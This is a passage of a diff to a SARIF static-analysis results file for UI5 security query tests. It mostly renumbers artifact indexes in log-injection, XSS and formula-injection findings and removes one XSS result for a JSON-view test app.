+                  "index" : 2
                 },
                 "region" : {
                   "startLine" : 13,
@@ -15236,7 +15001,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/avoid-duplicate-alerts/LogInjectionTest.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 3
+                  "index" : 2
                 },
                 "region" : {
                   "startLine" : 13,
@@ -15254,7 +15019,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/avoid-duplicate-alerts/LogInjectionTest.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 3
+                  "index" : 2
                 },
                 "region" : {
                   "startLine" : 14,
@@ -15272,7 +15037,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/avoid-duplicate-alerts/LogInjectionTest.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 3
+                  "index" : 2
                 },
                 "region" : {
                   "startLine" : 14,
@@ -15290,7 +15055,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/avoid-duplicate-alerts/LogInjectionTest.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 3
+                  "index" : 2
                 },
                 "region" : {
                   "startLine" : 14,
@@ -15308,7 +15073,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/avoid-duplicate-alerts/LogInjectionTest.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 3
+                  "index" : 2
                 },
                 "region" : {
                   "startLine" : 14,
@@ -15326,7 +15091,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/avoid-duplicate-alerts/LogInjectionTest.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 3
+                  "index" : 2
                 },
                 "region" : {
                   "startLine" : 15,
@@ -15344,7 +15109,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/avoid-duplicate-alerts/LogInjectionTest.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 3
+                  "index" : 2
                 },
                 "region" : {
                   "startLine" : 15,
@@ -15365,7 +15130,7 @@
           "artifactLocation" : {
             "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/avoid-duplicate-alerts/LogInjectionTest.js",
             "uriBaseId" : "%SRCROOT%",
-            "index" : 3
+            "index" : 2
           },
           "region" : {
             "startLine" : 13,
@@ -15394,7 +15159,7 @@
           "artifactLocation" : {
             "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/avoid-duplicate-alerts/LogInjectionTest.js",
             "uriBaseId" : "%SRCROOT%",
-            "index" : 3
+            "index" : 2
           },
           "region" : {
             "startLine" : 24,
@@ -15415,7 +15180,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/avoid-duplicate-alerts/LogInjectionTest.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 3
+                  "index" : 2
                 },
                 "region" : {
                   "startLine" : 21,
@@ -15433,7 +15198,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/avoid-duplicate-alerts/LogInjectionTest.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 3
+                  "index" : 2
                 },
                 "region" : {
                   "startLine" : 21,
@@ -15451,7 +15216,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/avoid-duplicate-alerts/LogInjectionTest.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 3
+                  "index" : 2
                 },
                 "region" : {
                   "startLine" : 21,
@@ -15469,7 +15234,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/avoid-duplicate-alerts/LogInjectionTest.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 3
+                  "index" : 2
                 },
                 "region" : {
                   "startLine" : 22,
@@ -15487,7 +15252,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/avoid-duplicate-alerts/LogInjectionTest.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 3
+                  "index" : 2
                 },
                 "region" : {
                   "startLine" : 22,
@@ -15505,7 +15270,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/avoid-duplicate-alerts/LogInjectionTest.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 3
+                  "index" : 2
                 },
                 "region" : {
                   "startLine" : 22,
@@ -15523,7 +15288,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/avoid-duplicate-alerts/LogInjectionTest.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 3
+                  "index" : 2
                 },
                 "region" : {
                   "startLine" : 22,
@@ -15541,7 +15306,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/avoid-duplicate-alerts/LogInjectionTest.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 3
+                  "index" : 2
                 },
                 "region" : {
                   "startLine" : 23,
@@ -15559,7 +15324,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/avoid-duplicate-alerts/LogInjectionTest.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 3
+                  "index" : 2
                 },
                 "region" : {
                   "startLine" : 23,
@@ -15577,7 +15342,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/avoid-duplicate-alerts/LogInjectionTest.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 3
+                  "index" : 2
                 },
                 "region" : {
                   "startLine" : 23,
@@ -15595,7 +15360,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/avoid-duplicate-alerts/LogInjectionTest.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 3
+                  "index" : 2
                 },
                 "region" : {
                   "startLine" : 24,
@@ -15613,7 +15378,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/avoid-duplicate-alerts/LogInjectionTest.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 3
+                  "index" : 2
                 },
                 "region" : {
                   "startLine" : 24,
@@ -15634,7 +15399,7 @@
           "artifactLocation" : {
             "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/avoid-duplicate-alerts/LogInjectionTest.js",
             "uriBaseId" : "%SRCROOT%",
-            "index" : 3
+            "index" : 2
           },
           "region" : {
             "startLine" : 21,
@@ -15663,7 +15428,7 @@
           "artifactLocation" : {
             "uri" : "javascript/heuristic-models/tests/Sources/test.js",
             "uriBaseId" : "%SRCROOT%",
-            "index" : 4
+            "index" : 3
           },
           "region" : {
             "startLine" : 5,
@@ -15684,7 +15449,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/heuristic-models/tests/Sources/test.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 4
+                  "index" : 3
                 },
                 "region" : {
                   "startLine" : 5,
@@ -15702,7 +15467,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/heuristic-models/tests/Sources/test.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 4
+                  "index" : 3
                 },
                 "region" : {
                   "startLine" : 5,
@@ -15723,7 +15488,7 @@
           "artifactLocation" : {
             "uri" : "javascript/heuristic-models/tests/Sources/test.js",
             "uriBaseId" : "%SRCROOT%",
-            "index" : 4
+            "index" : 3
           },
           "region" : {
             "startLine" : 5,
@@ -16127,7 +15892,7 @@
           "artifactLocation" : {
             "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/controls/Book.js",
             "uriBaseId" : "%SRCROOT%",
-            "index" : 171
+            "index" : 168
           },
           "region" : {
             "startLine" : 132,
@@ -16149,7 +15914,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/controller/App.Controller.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 170
+                  "index" : 167
                 },
                 "region" : {
                   "startLine" : 23,
@@ -16167,7 +15932,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/controller/App.Controller.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 170
+                  "index" : 167
                 },
                 "region" : {
                   "startLine" : 23,
@@ -16185,7 +15950,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/controller/App.Controller.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 170
+                  "index" : 167
                 },
                 "region" : {
                   "startLine" : 27,
@@ -16203,7 +15968,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/controls/Book.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 171
+                  "index" : 168
                 },
                 "region" : {
                   "startLine" : 17,
@@ -16221,7 +15986,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/controls/Book.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 171
+                  "index" : 168
                 },
                 "region" : {
                   "startLine" : 133,
@@ -16239,7 +16004,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/controls/Book.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 171
+                  "index" : 168
                 },
                 "region" : {
                   "startLine" : 132,
@@ -16261,7 +16026,7 @@
           "artifactLocation" : {
             "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/controller/App.Controller.js",
             "uriBaseId" : "%SRCROOT%",
-            "index" : 170
+            "index" : 167
           },
           "region" : {
             "startLine" : 23,
@@ -16290,7 +16055,7 @@
           "artifactLocation" : {
             "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-api1/webapp/control/xss.js",
             "uriBaseId" : "%SRCROOT%",
-            "index" : 194
+            "index" : 191
           },
           "region" : {
             "startLine" : 14,
@@ -16311,7 +16076,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-api1/webapp/view/app.view.xml",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 199
+                  "index" : 196
                 },
                 "region" : {
                   "startLine" : 5,
@@ -16330,7 +16095,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-api1/webapp/controller/app.controller.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 195
+                  "index" : 192
                 },
                 "region" : {
                   "startLine" : 9,
@@ -16348,7 +16113,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-api1/webapp/control/xss.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 194
+                  "index" : 191
                 },
                 "region" : {
                   "startLine" : 7,
@@ -16366,7 +16131,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-api1/webapp/control/xss.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 194
+                  "index" : 191
                 },
                 "region" : {
                   "startLine" : 14,
@@ -16387,7 +16152,7 @@
           "artifactLocation" : {
             "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-api1/webapp/view/app.view.xml",
             "uriBaseId" : "%SRCROOT%",
-            "index" : 199
+            "index" : 196
           },
           "region" : {
             "startLine" : 5,
@@ -16417,7 +16182,7 @@
           "artifactLocation" : {
             "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-api2/webapp/control/xss.js",
             "uriBaseId" : "%SRCROOT%",
-            "index" : 203
+            "index" : 200
           },
           "region" : {
             "startLine" : 14,
@@ -16438,7 +16203,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-api2/webapp/view/app.view.xml",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 208
+                  "index" : 205
                 },
                 "region" : {
                   "startLine" : 5,
@@ -16457,7 +16222,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-api2/webapp/controller/app.controller.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 204
+                  "index" : 201
                 },
                 "region" : {
                   "startLine" : 9,
@@ -16475,7 +16240,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-api2/webapp/control/xss.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 203
+                  "index" : 200
                 },
                 "region" : {
                   "startLine" : 7,
@@ -16493,7 +16258,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-api2/webapp/control/xss.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 203
+                  "index" : 200
                 },
                 "region" : {
                   "startLine" : 14,
@@ -16514,7 +16279,7 @@
           "artifactLocation" : {
             "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-api2/webapp/view/app.view.xml",
             "uriBaseId" : "%SRCROOT%",
-            "index" : 208
+            "index" : 205
           },
           "region" : {
             "startLine" : 5,
@@ -16544,7 +16309,7 @@
           "artifactLocation" : {
             "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-jquery/webapp/control/xss.js",
             "uriBaseId" : "%SRCROOT%",
-            "index" : 212
+            "index" : 209
           },
           "region" : {
             "startLine" : 14,
@@ -16565,7 +16330,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-jquery/webapp/view/app.view.xml",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 217
+                  "index" : 214
                 },
                 "region" : {
                   "startLine" : 5,
@@ -16584,7 +16349,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-jquery/webapp/controller/app.controller.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 213
+                  "index" : 210
                 },
                 "region" : {
                   "startLine" : 9,
@@ -16602,7 +16367,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-jquery/webapp/control/xss.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 212
+                  "index" : 209
                 },
                 "region" : {
                   "startLine" : 7,
@@ -16620,7 +16385,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-jquery/webapp/control/xss.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 212
+                  "index" : 209
                 },
                 "region" : {
                   "startLine" : 14,
@@ -16641,7 +16406,7 @@
           "artifactLocation" : {
             "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-jquery/webapp/view/app.view.xml",
             "uriBaseId" : "%SRCROOT%",
-            "index" : 217
+            "index" : 214
           },
           "region" : {
             "startLine" : 5,
@@ -16671,7 +16436,7 @@
           "artifactLocation" : {
             "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-event-handlers/webapp/controller/app.controller.js",
             "uriBaseId" : "%SRCROOT%",
-            "index" : 239
+            "index" : 236
           },
           "region" : {
             "startLine" : 27,
@@ -16692,7 +16457,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-event-handlers/webapp/controller/app.controller.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 239
+                  "index" : 236
                 },
                 "region" : {
                   "startLine" : 26,
@@ -16710,7 +16475,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-event-handlers/webapp/controller/app.controller.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 239
+                  "index" : 236
                 },
                 "region" : {
                   "startLine" : 26,
@@ -16728,7 +16493,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-event-handlers/webapp/controller/app.controller.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 239
+                  "index" : 236
                 },
                 "region" : {
                   "startLine" : 27,
@@ -16749,7 +16514,7 @@
           "artifactLocation" : {
             "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-event-handlers/webapp/controller/app.controller.js",
             "uriBaseId" : "%SRCROOT%",
-            "index" : 239
+            "index" : 236
           },
           "region" : {
             "startLine" : 26,
@@ -16778,7 +16543,7 @@
           "artifactLocation" : {
             "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-indirect-control/webapp/control/xssRenderer.js",
             "uriBaseId" : "%SRCROOT%",
-            "index" : 290
+            "index" : 287
           },
           "region" : {
             "startLine" : 8,
@@ -16799,7 +16564,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-indirect-control/webapp/view/app.view.xml",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 295
+                  "index" : 292
                 },
                 "region" : {
                   "startLine" : 5,
@@ -16818,7 +16583,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-indirect-control/webapp/controller/app.controller.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 291
+                  "index" : 288
                 },
                 "region" : {
                   "startLine" : 9,
@@ -16836,7 +16601,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-indirect-control/webapp/control/xssBase.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 289
+                  "index" : 286
                 },
                 "region" : {
                   "startLine" : 5,
@@ -16854,7 +16619,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-indirect-control/webapp/control/xssRenderer.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 290
+                  "index" : 287
                 },
                 "region" : {
                   "startLine" : 8,
@@ -16875,7 +16640,7 @@
           "artifactLocation" : {
             "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-indirect-control/webapp/view/app.view.xml",
             "uriBaseId" : "%SRCROOT%",
-            "index" : 295
+            "index" : 292
           },
           "region" : {
             "startLine" : 5,
@@ -16905,7 +16670,7 @@
           "artifactLocation" : {
             "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-separate-renderer/webapp/control/renderer.js",
             "uriBaseId" : "%SRCROOT%",
-            "index" : 315
+            "index" : 312
           },
           "region" : {
             "startLine" : 8,
@@ -16926,7 +16691,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-separate-renderer/webapp/view/app.view.xml",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 321
+                  "index" : 318
                 },
                 "region" : {
                   "startLine" : 5,
@@ -16945,7 +16710,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-separate-renderer/webapp/controller/app.controller.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 317
+                  "index" : 314
                 },
                 "region" : {
                   "startLine" : 9,
@@ -16963,7 +16728,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-separate-renderer/webapp/control/xss.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 316
+                  "index" : 313
                 },
                 "region" : {
                   "startLine" : 7,
@@ -16981,7 +16746,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-separate-renderer/webapp/control/renderer.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 315
+                  "index" : 312
                 },
                 "region" : {
                   "startLine" : 8,
@@ -17002,7 +16767,7 @@
           "artifactLocation" : {
             "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-separate-renderer/webapp/view/app.view.xml",
             "uriBaseId" : "%SRCROOT%",
-            "index" : 321
+            "index" : 318
           },
           "region" : {
             "startLine" : 5,
@@ -17032,7 +16797,7 @@
           "artifactLocation" : {
             "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-separate-renderer-byname/webapp/control/xssRenderer.js",
             "uriBaseId" : "%SRCROOT%",
-            "index" : 326
+            "index" : 323
           },
           "region" : {
             "startLine" : 8,
@@ -17053,7 +16818,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-separate-renderer-byname/webapp/view/app.view.xml",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 331
+                  "index" : 328
                 },
                 "region" : {
                   "startLine" : 5,
@@ -17072,7 +16837,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-separate-renderer-byname/webapp/controller/app.controller.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 327
+                  "index" : 324
                 },
                 "region" : {
                   "startLine" : 9,
@@ -17090,7 +16855,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-separate-renderer-byname/webapp/control/xss.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 325
+                  "index" : 322
                 },
                 "region" : {
                   "startLine" : 7,
@@ -17108,7 +16873,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-separate-renderer-byname/webapp/control/xssRenderer.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 326
+                  "index" : 323
                 },
                 "region" : {
                   "startLine" : 8,
@@ -17129,7 +16894,7 @@
           "artifactLocation" : {
             "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-separate-renderer-byname/webapp/view/app.view.xml",
             "uriBaseId" : "%SRCROOT%",
-            "index" : 331
+            "index" : 328
           },
           "region" : {
             "startLine" : 5,
@@ -17159,7 +16924,7 @@
           "artifactLocation" : {
             "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-js-view/webapp/view/app.view.js",
             "uriBaseId" : "%SRCROOT%",
-            "index" : 303
+            "index" : 300
           },
           "region" : {
             "startLine" : 21,
@@ -17180,7 +16945,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-js-view/webapp/view/app.view.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 303
+                  "index" : 300
                 },
                 "region" : {
                   "startLine" : 18,
@@ -17198,7 +16963,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-js-view/webapp/controller/app.controller.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 299
+                  "index" : 296
                 },
                 "region" : {
                   "startLine" : 9,
@@ -17216,7 +16981,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-js-view/webapp/view/app.view.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 303
+                  "index" : 300
                 },
                 "region" : {
                   "startLine" : 21,
@@ -17237,7 +17002,7 @@
           "artifactLocation" : {
             "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-js-view/webapp/view/app.view.js",
             "uriBaseId" : "%SRCROOT%",
-            "index" : 303
+            "index" : 300
           },
           "region" : {
             "startLine" : 18,
@@ -17249,113 +17014,6 @@
           "text" : "user-provided value"
         }
       } ]
-    }, {
-      "ruleId" : "js/ui5-xss",
-      "rule" : {
-        "id" : "js/ui5-xss",
-        "index" : 0,
-        "toolComponent" : {
-          "index" : 1
-        }
-      },
-      "message" : {
-        "text" : "XSS vulnerability due to [user-provided value](1)."
-      },
-      "locations" : [ {
-        "physicalLocation" : {
-          "artifactLocation" : {
-            "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-json-view/webapp/view/app.view.json",
-            "uriBaseId" : "%SRCROOT%",
-            "index" : 311
-          },
-          "region" : {
-            "startLine" : 13,
-            "startColumn" : 15,
-            "endColumn" : 25
-          }
-        }
-      } ],
-      "partialFingerprints" : {
-        "primaryLocationLineHash" : "c18df3aa119b40dc:1",
-        "primaryLocationStartColumnFingerprint" : "11"
-      },
-      "codeFlows" : [ {
-        "threadFlows" : [ {
-          "locations" : [ {
-            "location" : {
-              "physicalLocation" : {
-                "artifactLocation" : {
-                  "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-json-view/webapp/view/app.view.json",
-                  "uriBaseId" : "%SRCROOT%",
-                  "index" : 311
-                },
-                "region" : {
-                  "startLine" : 9,
-                  "startColumn" : 13,
-                  "endColumn" : 23
-                }
-              },
-              "message" : {
-                "text" : "\"value\": \"{/input}\""
-              }
-            }
-          }, {
-            "location" : {
-              "physicalLocation" : {
-                "artifactLocation" : {
-                  "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-json-view/webapp/controller/app.controller.js",
-                  "uriBaseId" : "%SRCROOT%",
-                  "index" : 307
-                },
-                "region" : {
-                  "startLine" : 9,
-                  "startColumn" : 17,
-                  "endColumn" : 28
-                }
-              },
-              "message" : {
-                "text" : "input: null"
-              }
-            }
-          }, {
-            "location" : {
-              "physicalLocation" : {
-                "artifactLocation" : {
-                  "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-json-view/webapp/view/app.view.json",
-                  "uriBaseId" : "%SRCROOT%",
-                  "index" : 311
-                },
-                "region" : {
-                  "startLine" : 13,
-                  "startColumn" : 15,
-                  "endColumn" : 25
-                }
-              },
-              "message" : {
-                "text" : "\"content\": \"{/input}\""
-              }
-            }
-          } ]
-        } ]
-      } ],
-      "relatedLocations" : [ {
-        "id" : 1,
-        "physicalLocation" : {
-          "artifactLocation" : {
-            "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-json-view/webapp/view/app.view.json",
-            "uriBaseId" : "%SRCROOT%",
-            "index" : 311
-          },
-          "region" : {
-            "startLine" : 9,
-            "startColumn" : 13,
-            "endColumn" : 23
-          }
-        },
-        "message" : {
-          "text" : "user-provided value"
-        }
-      } ]
     }, {
       "ruleId" : "js/ui5-xss",
       "rule" : {
@@ -17373,7 +17031,7 @@
           "artifactLocation" : {
             "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-html-control-df/webapp/view/app.view.xml",
             "uriBaseId" : "%SRCROOT%",
-            "index" : 111
+            "index" : 108
           },
           "region" : {
             "startLine" : 8,
@@ -17394,7 +17052,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-html-control-df/webapp/view/app.view.xml",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 111
+                  "index" : 108
                 },
                 "region" : {
                   "startLine" : 5,
@@ -17413,7 +17071,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-html-control-df/webapp/controller/app.controller.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 108
+                  "index" : 105
                 },
                 "region" : {
                   "startLine" : 10,
@@ -17431,7 +17089,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-html-control-df/webapp/view/app.view.xml",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 111
+                  "index" : 108
                 },
                 "region" : {
                   "startLine" : 8,
@@ -17452,7 +17110,7 @@
           "artifactLocation" : {
             "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-html-control-df/webapp/view/app.view.xml",
             "uriBaseId" : "%SRCROOT%",
-            "index" : 111
+            "index" : 108
           },
           "region" : {
             "startLine" : 5,
@@ -17482,7 +17140,7 @@
           "artifactLocation" : {
             "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-event-handlers/webapp/view/app.view.xml",
             "uriBaseId" : "%SRCROOT%",
-            "index" : 243
+            "index" : 240
           },
           "region" : {
             "startLine" : 9,
@@ -17503,7 +17161,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-event-handlers/webapp/view/app.view.xml",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 243
+                  "index" : 240
                 },
                 "region" : {
                   "startLine" : 5,
@@ -17522,7 +17180,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-event-handlers/webapp/controller/app.controller.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 239
+                  "index" : 236
                 },
                 "region" : {
                   "startLine" : 31,
@@ -17540,7 +17198,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-event-handlers/webapp/controller/app.controller.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 239
+                  "index" : 236
                 },
                 "region" : {
                   "startLine" : 9,
@@ -17558,7 +17216,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-event-handlers/webapp/controller/app.controller.js",
